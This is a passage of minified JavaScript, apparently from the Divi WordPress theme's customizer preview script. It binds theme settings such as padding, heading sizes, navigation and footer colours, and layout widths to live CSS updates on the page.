.et_pb_row_inner")+" { padding: "+e+"px 0 !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[tablet_row_height]",(function(e){e.bind((function(e){var o;t("head style#tablet_row_height").remove(),o="<style id='tablet_row_height'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 980px ) {\t\t\t\t\t\t\t\t\t"+x(".et_pb_row, .et_pb_column .et_pb_row_inner")+" { padding: "+e+"px 0 !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[phone_section_height]",(function(e){e.bind((function(e){var o;t("head style#phone_section_height").remove(),o="<style id='phone_section_height'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 767px ) {\t\t\t\t\t\t\t\t\t"+x(".et_pb_section")+" { padding: "+e+"px 0; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[tablet_section_height]",(function(e){e.bind((function(e){var o;t("head style#tablet_section_height").remove(),o="<style id='tablet_section_height'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 980px ) {\t\t\t\t\t\t\t\t\t"+x(".et_pb_section")+" { padding: "+e+"px 0; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[body_header_size]",(function(e){e.bind((function(e){var o=t(".footer-widget h4").css("font-size");t("h1").css("font-size",e+"px"),t("h2, .product .related h2, .et_pb_column_1_2 .et_quote_content blockquote p").css("font-size",.86*e+"px"),t("h3").css("font-size",.73*e+"px"),t("h5").css("font-size",.53*e+"px"),t("h6").css("font-size",.47*e+"px"),t(".woocommerce ul.products li.product h3, .woocommerce-page ul.products li.product h3, .et_pb_gallery_grid .et_pb_gallery_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2, .et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2, .et_pb_column_1_4 .et_pb_audio_module_content h2 ").css("font-size",.53*e+"px"),t("#main-content h4, .et_pb_column_1_3 .et_pb_post h2, .et_pb_column_1_4 .et_pb_post h2, .et_pb_blog_grid h2, .et_pb_column_1_3 .et_quote_content blockquote p, .et_pb_column_3_8 .et_quote_content blockquote p, .et_pb_column_1_4 .et_quote_content blockquote p, .et_pb_blog_grid .et_quote_content blockquote p, .et_pb_column_1_3 .et_link_content h2, .et_pb_column_3_8 .et_link_content h2, .et_pb_column_1_4 .et_link_content h2, .et_pb_blog_grid .et_link_content h2, .et_pb_column_1_3 .et_audio_content h2, .et_pb_column_3_8 .et_audio_content h2, .et_pb_column_1_4 .et_audio_content h2, .et_pb_blog_grid .et_audio_content h2, .et_pb_column_3_8 .et_pb_audio_module_content h2, .et_pb_column_1_3 .et_pb_audio_module_content h2, .et_pb_gallery_grid .et_pb_gallery_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2, .et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2, .et_pb_circle_counter h3, .et_pb_number_counter h3").css("font-size",.6*e+"px"),t(".et_pb_slide_description .et_pb_slide_title").css("font-size",1.53*e+"px"),e==o&&t(".footer-widget h4").css("font-size",.6*e+"px")}))})),wp.customize("et_divi[body_header_height]",(function(e){e.bind((function(e){var o;t("head style#body_header_height").remove(),o="<style id='body_header_height'>\t\t\t\t\t\t\t\t\th1, h2, h3, h4, h5, h6, "+x("h1, h2, h3, h4, h5, h6, .et_quote_content blockquote p, .et_pb_slide_description .et_pb_slide_title")+" { line-height: "+e+"em; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[heading_font_weight]",(function(e){e.bind((function(e){var o;t("head style#heading_font_weight").remove(),o="<style id='heading_font_weight'>\t\t\t\t\t\t\t\t\th1, h2, h3, h4, h5, h6, "+x("h1, h2, h3, h4, h5, h6, .et_quote_content blockquote p, .et_pb_slide_description .et_pb_slide_title")+" { font-weight: "+e+"; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[body_font_height]",(function(e){e.bind((function(e){var o;t("head style#body_font_height").remove(),o="<style id='body_font_height'>\t\t\t\t\t\t\t\t\tbody { line-height: "+e+"em; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[body_font_weight]",(function(e){e.bind((function(e){var o;t("head style#body_font_weight").remove(),o="<style id='body_font_height'>\t\t\t\t\t\t\t\t\tbody { font-weight: "+e+"; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[body_header_spacing]",(function(e){e.bind((function(e){var o;t("head style#body_header_spacing").remove(),o="<style id='body_header_spacing'>\t\t\t\t\t\t\t\t\th1, h2, h3, h4, h5, h6, "+x("h1, h2, h3, h4, h5, h6, .et_quote_content blockquote p, .et_pb_slide_description .et_pb_slide_title")+" { letter-spacing: "+e+"px; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[primary_nav_font_spacing]",(function(e){e.bind((function(e){var o;t("head style#primary_nav_font_spacing").remove(),o="<style id='primary_nav_font_spacing'>\t\t\t\t\t\t\t\t\t#top-menu li a, .et_search_form_container input { letter-spacing: "+e+"px; }\t\t\t\t\t\t\t\t\t.et_search_form_container input::-moz-placeholder { letter-spacing: "+e+"px; }\t\t\t\t\t\t\t\t\t.et_search_form_container input::-webkit-input-placeholder { letter-spacing: "+e+"px; }\t\t\t\t\t\t\t\t\t.et_search_form_container input:-ms-input-placeholder { letter-spacing: "+e+"px; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[secondary_nav_fullwidth]",(function(e){e.bind((function(e){var o=t("body");e?o.addClass("et_fullwidth_secondary_nav"):o.removeClass("et_fullwidth_secondary_nav")}))})),wp.customize("et_divi[secondary_nav_font_spacing]",(function(e){e.bind((function(e){var o;t("head style#secondary_nav_font_spacing").remove(),o="<style id='secondary_nav_font_spacing'>\t\t\t\t\t\t\t\t\t#top-header, #top-header a, #et-secondary-nav li li a, #top-header .et-social-icon a:before { letter-spacing: "+e+"px; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[phone_header_font_size]",(function(e){e.bind((function(e){var o;t("head style#phone_header_font_size").remove(),o="<style id='phone_header_font_size'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 767px ) {\t\t\t\t\t\t\t\t\th1, "+x("h1")+" { font-size: "+e+"px !important; }\t\t\t\t\t\t\t\t\th2, "+x("h2")+" { font-size: "+.86*e+"px !important; }\t\t\t\t\t\t\t\t\th3, "+x("h3")+" { font-size: "+.73*e+"px !important; }\t\t\t\t\t\t\t\t\t.woocommerce ul.products li.product h3, .woocommerce-page ul.products li.product h3, "+x(".et_pb_gallery_grid .et_pb_gallery_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2, .et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2, .et_pb_column_1_4 .et_pb_audio_module_content h2")+" { font-size: "+.53*e+"px !important; }\t\t\t\t\t\t\t\t\t#main-content h4, "+x("#main-content h4, .et_pb_column_1_3 .et_pb_post h2, .et_pb_column_1_4 .et_pb_post h2, .et_pb_blog_grid h2, .et_pb_column_1_3 .et_quote_content blockquote p, .et_pb_column_3_8 .et_quote_content blockquote p, .et_pb_column_1_4 .et_quote_content blockquote p, .et_pb_blog_grid .et_quote_content blockquote p, .et_pb_column_1_3 .et_link_content h2, .et_pb_column_3_8 .et_link_content h2, .et_pb_column_1_4 .et_link_content h2, .et_pb_blog_grid .et_link_content h2, .et_pb_column_1_3 .et_audio_content h2, .et_pb_column_3_8 .et_audio_content h2, .et_pb_column_1_4 .et_audio_content h2, .et_pb_blog_grid .et_audio_content h2, .et_pb_column_3_8 .et_pb_audio_module_content h2, .et_pb_column_1_3 .et_pb_audio_module_content h2, .et_pb_gallery_grid .et_pb_gallery_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2, .et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2, .et_pb_circle_counter h3, .et_pb_number_counter h3")+" { font-size: "+.6*e+"px !important; }\t\t\t\t\t\t\t\t\t"+x(".et_pb_slide_description .et_pb_slide_title")+" { font-size: "+1.53*e+"px !important; }\t\t\t\t\t\t\t\t\t.footer-widget h4 { font-size: "+.6*e+"px !important; }\t\t\t\t\t\t\t\t\th5, "+x("h5")+" { font-size: "+.53*e+"px !important; }\t\t\t\t\t\t\t\t\th6, "+x("h6")+" { font-size: "+.47*e+"px !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[tablet_header_font_size]",(function(e){e.bind((function(e){var o;t("head style#tablet_header_font_size").remove(),o="<style id='tablet_header_font_size'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 980px ) {\t\t\t\t\t\t\t\t\th1, "+x("h1")+" { font-size: "+e+"px !important; }\t\t\t\t\t\t\t\t\th2, "+x("h2")+" { font-size: "+.86*e+"px !important; }\t\t\t\t\t\t\t\t\th3, "+x("h3")+" { font-size: "+.73*e+"px !important; }\t\t\t\t\t\t\t\t\t.woocommerce ul.products li.product h3, .woocommerce-page ul.products li.product h3, "+x(".et_pb_gallery_grid .et_pb_gallery_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2, .et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2, .et_pb_column_1_4 .et_pb_audio_module_content h2")+" { font-size: "+.53*e+"px !important; }\t\t\t\t\t\t\t\t\t#main-content h4, "+x("#main-content h4, .et_pb_column_1_3 .et_pb_post h2, .et_pb_column_1_4 .et_pb_post h2, .et_pb_blog_grid h2, .et_pb_column_1_3 .et_quote_content blockquote p, .et_pb_column_3_8 .et_quote_content blockquote p, .et_pb_column_1_4 .et_quote_content blockquote p, .et_pb_blog_grid .et_quote_content blockquote p, .et_pb_column_1_3 .et_link_content h2, .et_pb_column_3_8 .et_link_content h2, .et_pb_column_1_4 .et_link_content h2, .et_pb_blog_grid .et_link_content h2, .et_pb_column_1_3 .et_audio_content h2, .et_pb_column_3_8 .et_audio_content h2, .et_pb_column_1_4 .et_audio_content h2, .et_pb_blog_grid .et_audio_content h2, .et_pb_column_3_8 .et_pb_audio_module_content h2, .et_pb_column_1_3 .et_pb_audio_module_content h2, .et_pb_gallery_grid .et_pb_gallery_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2, .et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2, .et_pb_circle_counter h3, .et_pb_number_counter h3")+" { font-size: "+.6*e+"px !important; }\t\t\t\t\t\t\t\t\t"+x(".et_pb_slide_description .et_pb_slide_title")+" { font-size: "+1.53*e+"px !important; }\t\t\t\t\t\t\t\t\t.footer-widget h4 { font-size: "+.6*e+"px !important; }\t\t\t\t\t\t\t\t\th5, "+x("h5")+" { font-size: "+.53*e+"px !important; }\t\t\t\t\t\t\t\t\th6, "+x("h6")+" { font-size: "+.47*e+"px !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[font_color]",(function(e){e.bind((function(e){t("body").css("color",e)}))})),wp.customize("et_divi[accent_color]",(function(t){t.bind((function(t){var e="<style id='accent_color'>"+x(".et_pb_counter_amount, .et_pb_featured_table .et_pb_pricing_heading, .et_pb_pricing_table_button")+", .comment-reply-link, "+x(".form-submit .et_pb_button, .et_quote_content, .et_link_content, .et_audio_content, .et_pb_post_slider.et_pb_bg_layout_dark")+", #page-container .et_slide_in_menu_container, "+x(".et_pb_contact p input[type='radio']:checked + label i:before")+", #page-container #top-header, .et-fixed-header#top-header { background-color: "+t+" !important; }\t\t\t\t\t\t\t\t.et-fixed-header#top-header #et-secondary-nav li ul { background-color: "+t+"; }\t\t\t\t\t\t\t\t#et_search_icon:hover, .mobile_menu_bar:before"+x(".mobile_menu_bar:before")+", .footer-widget h4, #main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6, .et-social-icon a:hover, "+x(".et_pb_sum, .et_pb_pricing li a, .et_overlay:before, .et_pb_member_social_links a:hover, .et_pb_widget li a:hover, .et_pb_bg_layout_light .et_pb_promo_button, .et_pb_bg_layout_light .et_pb_more_button, .et_pb_filterable_portfolio .et_pb_portfolio_filters li a.active, .et_pb_filterable_portfolio .et_pb_portofolio_pagination ul li a.active, .et_pb_gallery .et_pb_gallery_pagination ul li a.active")+", .wp-pagenavi span.current, .wp-pagenavi a:hover, "+x(".et_pb_contact_submit")+", .et_password_protected_form .et_submit_button, "+x(".et_pb_bg_layout_light .et_pb_newsletter_button")+", .nav-single a, .posted_in a, .tagged_as a, "+x(".nav-single a, .posted_in a, .et_pb_contact p input[type='checkbox']:checked + label i:before")+", .woocommerce .star-rating span::before, "+x(".woocommerce .star-rating span::before")+" { color:"+t+"; }\t\t\t\t\t\t\t\t.et-search-form, .nav li ul, .et_mobile_menu, "+x(".nav li ul, .et_mobile_menu")+", .footer-widget li:before, .et_pb_pricing li:before { border-color: "+t+"; }\t\t\t\t\t\t\t\t</style>";"#2ea3f2"===t&&(e="<style id='accent_color'>"+x(".et_pb_counter_amount, .et_pb_featured_table .et_pb_pricing_heading, .et_pb_pricing_table_button")+", .comment-reply-link, "+x(".form-submit .et_pb_button, .et_quote_content, .et_link_content, .et_audio_content, .et_pb_post_slider.et_pb_bg_layout_dark")+", #page-container .et_slide_in_menu_container, "+x(".et_pb_contact p input[type='radio']:checked + label i:before")+", #page-container #top-header, .et-fixed-header#top-header{ background-color: !important; }\t\t\t\t\t\t\t\t.et-fixed-header#top-header #et-secondary-nav li ul { background-color: ; }\t\t\t\t\t\t\t\t#et_search_icon:hover, .mobile_menu_bar:before"+x(".mobile_menu_bar:before")+", .footer-widget h4, #main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6, .et-social-icon a:hover, "+x(".et_pb_sum, .et_pb_pricing li a, .et_overlay:before, .et_pb_member_social_links a:hover, .et_pb_widget li a:hover, .et_pb_bg_layout_light .et_pb_promo_button, .et_pb_bg_layout_light .et_pb_more_button, .et_pb_filterable_portfolio .et_pb_portfolio_filters li a.active, .et_pb_filterable_portfolio .et_pb_portofolio_pagination ul li a.active, .et_pb_gallery .et_pb_gallery_pagination ul li a.active")+", .wp-pagenavi span.current, .wp-pagenavi a:hover, "+x(".et_pb_contact_submit")+", .et_password_protected_form .et_submit_button, "+x(".et_pb_bg_layout_light .et_pb_newsletter_button")+", .nav-single a, .posted_in a, .tagged_as a, "+x(".nav-single a, .posted_in a, .et_pb_contact p input[type='checkbox']:checked + label i:before")+", .woocommerce .star-rating span::before, "+x(".woocommerce .star-rating span::before")+" { color:"+t+"; }\t\t\t\t\t\t\t\t.et-search-form, .nav li ul, .et_mobile_menu, "+x(".nav li ul, .et_mobile_menu")+", .footer-widget li:before, .et_pb_pricing li:before { border-color: "+t+"; }\t\t\t\t\t\t\t\t</style>"),q("style#accent_color",e)}))})),wp.customize("et_divi[primary_nav_bg]",(function(e){e.bind((function(e){var o=t("body"),n=o.hasClass("et_transparent_nav");t("#main-header, #main-header .nav li ul, .et-search-form, #main-header .et_mobile_menu").css("background-color",e),n||"rgba"!==e.substr(0,4)||(o.addClass("et_transparent_nav"),t("head").append("<style id='remove_transparent_margin'>\t\t\t\t\t\t\t\t\t\tbody #page-container { margin-top: 0 !important; }\t\t\t\t\t\t\t\t\t</style>"),h(),window.et_is_transparent_nav=!0),n&&"rgba"!==e.substr(0,4)&&(o.removeClass("et_transparent_nav"),h(),t("#remove_transparent_margin").remove(),window.et_is_transparent_nav=!1),f(),T()}))})),wp.customize("et_divi[secondary_nav_bg]",(function(t){t.bind((function(t){var e="<style id='secondary_nav_color'>.et_secondary_nav_enabled #page-container #top-header { background-color: "+t+"!important; } .et-fixed-header#top-header, .et-fixed-header#top-header #et-secondary-nav li ul { background-color: "+t+";}\t\t\t</style>";"#2ea3f2"===t&&(e="<style id='secondary_nav_color'>.et_secondary_nav_enabled #page-container #top-header { background-color: !important; } .et-fixed-header#top-header, .et-fixed-header#top-header #et-secondary-nav li ul { background-color: ;}\t\t\t</style>"),q("style#secondary_nav_color",e)}))})),wp.customize("et_divi[secondary_nav_dropdown_bg]",(function(e){e.bind((function(e){t("#et-secondary-nav li ul").css("background-color",e)}))})),wp.customize("et_divi[secondary_nav_dropdown_link_color]",(function(e){e.bind((function(e){t("#et-secondary-nav li ul a").css("color",e)}))})),wp.customize("et_divi[primary_nav_dropdown_bg]",(function(e){e.bind((function(e){t("#et-top-navigation li ul").css("background-color",e)}))})),wp.customize("et_divi[primary_nav_dropdown_line_color]",(function(e){e.bind((function(e){t(".nav li ul").css("border-color",e)}))})),wp.customize("et_divi[primary_nav_dropdown_link_color]",(function(e){e.bind((function(e){t("#et-top-navigation li ul a").css("color",e)}))})),wp.customize("et_divi[fixed_secondary_nav_bg]",(function(t){t.bind((function(t){var e="";e="<style id='fixed_secondary_nav_bg'>\t\t\t\t\t\t\t\t@media only screen and ( min-width: 981px ) {\t\t\t\t\t\t\t\t\t.et_fixed_nav #page-container .et-fixed-header#top-header { background-color: "+t+"!important; } .et_fixed_nav #page-container .et-fixed-header#top-header #et-secondary-nav li ul { background-color: "+t+";}\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>","#2ea3f2"===t&&(e="<style id='fixed_secondary_nav_bg'>\t\t\t\t\t\t\t\t@media only screen and ( min-width: 981px ) {\t\t\t\t\t\t\t\t\t.et_fixed_nav #page-container .et-fixed-header#top-header { background-color: !important; } .et_fixed_nav #page-container .et-fixed-header#top-header #et-secondary-nav li ul { background-color: ;}\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>"),q("style#fixed_secondary_nav_bg",e)}))})),wp.customize("et_divi[fixed_primary_nav_bg]",(function(e){e.bind((function(e){var o;t("head style#fixed_primary_nav_bg").remove(),o="<style id='fixed_primary_nav_bg'>\t\t\t\t\t\t\t\t@media only screen and ( min-width: 981px ) {\t\t\t\t\t\t\t\t\t.et-fixed-header#main-header .nav li ul, .et-fixed-header .et-search-form { background-color: "+e+" !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o),f()}))})),wp.customize("et_divi[mobile_primary_nav_bg]",(function(e){e.bind((function(e){var o;t("head style#mobile_primary_nav_bg").remove(),o="<style id='mobile_primary_nav_bg'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 980px ) {\t\t\t\t\t\t\t\t\tbody #main-header, #main-header .nav li ul, .et-search-form, #main-header .et_mobile_menu { background-color: "+e+" !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o),f()}))})),wp.customize("et_divi[fixed_primary_nav_font_size]",(function(e){e.bind((function(e){var o;t("head style#fixed_primary_nav_font_size").remove(),o="<style id='fixed_primary_nav_font_size'>\t\t\t\t\t\t\t\t@media only screen and ( min-width: 981px ) {\t\t\t\t\t\t\t\t\t.et-fixed-header #top-menu li a { font-size: "+e+"px !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[fixed_menu_link]",(function(e){e.bind((function(e){var o;t("head style#fixed_menu_link").remove(),o="<style id='fixed_menu_link'>\t\t\t\t\t\t\t\t@media only screen and ( min-width: 981px ) {\t\t\t\t\t\t\t\t\t.et-fixed-header #top-menu a, .et-fixed-header #et_search_icon:before, .et-fixed-header #et_top_search .et-search-form input, .et-fixed-header .et_search_form_container input,.et-fixed-header .et_close_search_field:after { color: "+e+" !important; }\t\t\t\t\t\t\t\t\t.et-fixed-header .et_search_form_container input::-moz-placeholder { color: "+e+" !important; }\t\t\t\t\t\t\t\t\t.et-fixed-header .et_search_form_container input::-webkit-input-placeholder { color: "+e+" !important; }\t\t\t\t\t\t\t\t\t.et-fixed-header .et_search_form_container input:-ms-input-placeholder { color: "+e+" !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[fixed_menu_link_active]",(function(e){e.bind((function(e){var o;t("head style#fixed_menu_link_active").remove(),o="<style id='fixed_menu_link_active'>\t\t\t\t\t\t\t\t@media only screen and ( min-width: 981px ) {\t\t\t\t\t\t\t\t\t.et-fixed-header #top-menu li.current-menu-ancestor > a, .et-fixed-header #top-menu li.current-menu-item > a, .et-fixed-header #top-menu li.current_page_item > a { color: "+e+" !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[fixed_secondary_menu_link]",(function(t){t.bind((function(t){q("style#fixed_secondary_menu_link","<style id='fixed_secondary_menu_link'>.et-fixed-header#top-header, .et-fixed-header#top-header a { color: "+t+" !important; }\t\t\t\t\t\t\t</style>")}))})),wp.customize("et_divi[header_color]",(function(e){e.bind((function(e){var o;t("head style#header_color").remove(),o="<style id='header_color'>\t\t\t\t\t\t\t\th1,h2,h3,h4,h5,h6"+x("h1,h2,h3,h4,h5,h6")+" { color: "+e+"; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[disable_custom_footer_credits]",(function(t){t.bind((function(t){var n="";if(!1===t){var i=wp.customize.value("et_divi[custom_footer_credits]")();n=""!==i.trim()?i:o}e.html(n)}))})),wp.customize("et_divi[custom_footer_credits]",(function(t){t.bind((function(t){""===t.trim()&&(t=o),e.html(t)}))})),wp.customize("et_divi[footer_bg]",(function(e){e.bind((function(e){t("#main-footer").css("background-color",e)}))})),wp.customize("et_divi[footer_columns]",(function(e){e.bind((function(e){var o=t("body");e&&(o.removeClass((function(t,e){return(e.match(/\bet_pb_footer_columns\S+/g)||[]).join(" ")})),o.addClass("et_pb_footer_columns"+e))}))})),wp.customize("et_divi[footer_widget_link_color]",(function(e){e.bind((function(e){t("#footer-widgets .footer-widget a").css("color",e)}))})),wp.customize("et_divi[footer_widget_text_color]",(function(e){e.bind((function(e){t(".footer-widget").css("color",e)}))})),wp.customize("et_divi[footer_widget_header_color]",(function(e){e.bind((function(e){t("#main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6").css("color",e)}))})),wp.customize("et_divi[footer_widget_bullet_color]",(function(e){e.bind((function(e){var o;t("head style#footer_widget_bullet_color").remove(),o="<style id='footer_widget_bullet_color'>\t\t\t\t\t\t\t.footer-widget li:before { border-color: "+e+"; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[widget_header_font_size]",(function(e){e.bind((function(e){t("#main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6").css("font-size",e+"px")}))})),wp.customize("et_divi[widget_header_font_style]",(function(t){t.bind((function(t){z("et_divi[widget_header_font_style]","font-styles","#main-footer .footer-widget h4, #main-footer .widget_block h1, #main-footer .widget_block h2, #main-footer .widget_block h3, #main-footer .widget_block h4, #main-footer .widget_block h5, #main-footer .widget_block h6",t)}))})),wp.customize("et_divi[widget_body_font_size]",(function(e){e.bind((function(e){t(".footer-widget li, .footer-widget li a, .footer-widget div, .footer-widget, #footer-info").css("font-size",e+"px"),C()}))})),wp.customize("et_divi[footer_menu_background_color]",(function(t){t.bind((function(t){z("et_divi[footer_menu_background_color]","background-color","#et-footer-nav",t)}))})),wp.customize("et_divi[footer_menu_text_color]",(function(t){t.bind((function(t){z("et_divi[footer_menu_text_color]","color",".bottom-nav, .bottom-nav a, .bottom-nav li.current-menu-item a",t)}))})),wp.customize("et_divi[footer_menu_active_link_color]",(function(t){t.bind((function(t){z("et_divi[footer_menu_active_link_color]","color","#et-footer-nav .bottom-nav li.current-menu-item a",t)}))})),wp.customize("et_divi[footer_menu_letter_spacing]",(function(t){t.bind((function(t){z("et_divi[footer_menu_letter_spacing]","letter-spacing",".bottom-nav",t)}))})),wp.customize("et_divi[footer_menu_font_style]",(function(t){t.bind((function(t){z("et_divi[footer_menu_font_style]","font-styles",".bottom-nav a",t)}))})),wp.customize("et_divi[footer_menu_font_size]",(function(t){t.bind((function(t){z("et_divi[footer_menu_font_size]","font-size",".bottom-nav, .bottom-nav a",t)}))})),wp.customize("et_divi[bottom_bar_background_color]",(function(t){t.bind((function(t){z("et_divi[bottom_bar_background_color]","background-color","#footer-bottom",t)}))})),wp.customize("et_divi[bottom_bar_text_color]",(function(t){t.bind((function(t){z("et_divi[bottom_bar_text_color]","color","#footer-info, #footer-info a",t)}))})),wp.customize("et_divi[bottom_bar_font_style]",(function(t){t.bind((function(t){z("et_divi[bottom_bar_font_style]","font-styles","#footer-info, #footer-info a",t)}))})),wp.customize("et_divi[bottom_bar_font_size]",(function(t){t.bind((function(t){z("et_divi[bottom_bar_font_size]","font-size","#footer-info",t,!0)}))})),wp.customize("et_divi[bottom_bar_social_icon_size]",(function(t){t.bind((function(t){z("et_divi[bottom_bar_social_icon_size]","font-size","#footer-bottom .et-social-icon a",t)}))})),wp.customize("et_divi[bottom_bar_social_icon_color]",(function(t){t.bind((function(t){z("et_divi[bottom_bar_social_icon_color]","color","#footer-bottom .et-social-icon a",t)}))})),wp.customize("et_divi[widget_body_font_style]",(function(t){t.bind((function(t){z("et_divi[widget_body_font_style]","font-styles",".footer-widget .et_pb_widget div, .footer-widget .et_pb_widget ul, .footer-widget .et_pb_widget ol, .footer-widget .et_pb_widget > label",t)}))})),wp.customize("et_divi[widget_body_line_height]",(function(t){t.bind((function(t){z("et_divi[widget_body_line_height]","line-height",".footer-widget .et_pb_widget div, .footer-widget .et_pb_widget ul, .footer-widget .et_pb_widget ol, .footer-widget .et_pb_widget label",t),C()}))})),wp.customize("et_divi[menu_link]",(function(e){e.bind((function(e){var o;t("head style#menu_link").remove(),o="<style id='menu_link'>\t\t\t\t\t\t\t\t#et_search_icon:before, #et_top_search .et-search-form input, .et_search_form_container input, span.et_close_search_field:after, #et-top-navigation .et-cart-info { color: "+e+" !important; }\t\t\t\t\t\t\t\t.et_nav_text_color_light #top-menu > li > a, .et_nav_text_color_dark #top-menu > li > a, #top-menu a { color: "+e+"; }\t\t\t\t\t\t\t\t.et_search_form_container input::-moz-placeholder { color: "+e+"; }\t\t\t\t\t\t\t\t.et_search_form_container input::-webkit-input-placeholder { color: "+e+"; }\t\t\t\t\t\t\t\t.et_search_form_container input:-ms-input-placeholder { color: "+e+"; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[secondary_nav_text_color_new]",(function(e){e.bind((function(e){var o;t("head style#secondary_nav_text_color_new").remove(),o="<style id='secondary_nav_text_color_new'>\t\t\t\t\t\t\t\t#top-header, #top-header a { color: "+e+" !important; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[mobile_menu_link]",(function(e){e.bind((function(e){var o;t("head style#mobile_menu_link").remove(),o="<style id='mobile_menu_link'>\t\t\t\t\t\t\t\t@media only screen and ( max-width: 980px ) {\t\t\t\t\t\t\t\t\t.et_header_style_centered .mobile_nav .select_page, .et_header_style_split .mobile_nav .select_page, .et_mobile_menu li a, .mobile_menu_bar:before, .et_nav_text_color_light #top-menu > li > a, .et_nav_text_color_dark #top-menu > li > a, #top-menu a, #et_search_icon:before, #et_top_search .et-search-form input, .et_search_form_container input, .et_close_search_field:after, #et-top-navigation .et-cart-info { color: "+e+" !important; }\t\t\t\t\t\t\t\t\t.et_search_form_container input::-moz-placeholder { color: "+e+" !important; }\t\t\t\t\t\t\t\t\t.et_search_form_container input::-webkit-input-placeholder { color: "+e+" !important; }\t\t\t\t\t\t\t\t\t.et_search_form_container input:-ms-input-placeholder { color: "+e+" !important; }\t\t\t\t\t\t\t\t}\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[menu_link_active]",(function(e){e.bind((function(e){var o;t("head style#menu_link_active").remove(),o="<style id='menu_link_active'>\t\t\t\t\t\t\t\t#top-menu li.current-menu-ancestor > a, #top-menu li.current-menu-item > a, #top-menu li.current_page_item > a, .bottom-nav li.current-menu-item > a { color: "+e+" !important; }\t\t\t\t\t\t\t</style>",t("head").append(o)}))})),wp.customize("et_divi[content_width]",(function(e){e.bind((function(e){t(".container, .et_pb_row, .et_pb_slider .et_pb_container, .et_pb_fullwidth_section .et_pb_title_container, .et_pb_fullwidth_section .et_pb_title_featured_container").css("max-width",e+"px")})),e.bind((function(e){t(".et_boxed_layout #page-container, .et_boxed_layout #page-container #top-header, .et_boxed_layout #page-container #main-header, .et_boxed_layout #page-container .container, .et_boxed_layout #page-container .et_pb_row").css("max-width",parseInt(e)+160+"px")}))})),wp.customize("et_divi[gutter_width]",(function(e){e.bind((function(e){var o=t("body");e&&(o.removeClass("et_pb_gutters1 et_pb_gutters2 et_pb_gutters3 et_pb_gutters4"),o.addClass("et_pb_gutters"+e))}))})),wp.customize("et_divi[sidebar_width]",(function(t){t.bind((function(t){y(t)}))})),wp.customize("et_divi[use_sidebar_width]",(function(e){e.bind((function(e){var o=t("body");e?(o.removeClass("et_pb_gutter "),y(wp.customize.value("et_divi[sidebar_width]")())):(o.addClass("et_pb_gutter"),t("style#theme-customizer-sidebar-width-css").remove())}))})),wp.customize("et_divi[boxed_layout]",(function(e){e.bind((function(e){var o=t("body");e?o.addClass("et_boxed_layout"):(o.removeClass("et_boxed_layout"),t("#main-header, #page-container, #top-header").css("max-width","none"))}))})),wp.customize("et_divi[cover_background]",(function(e){e.bind((function(e){var 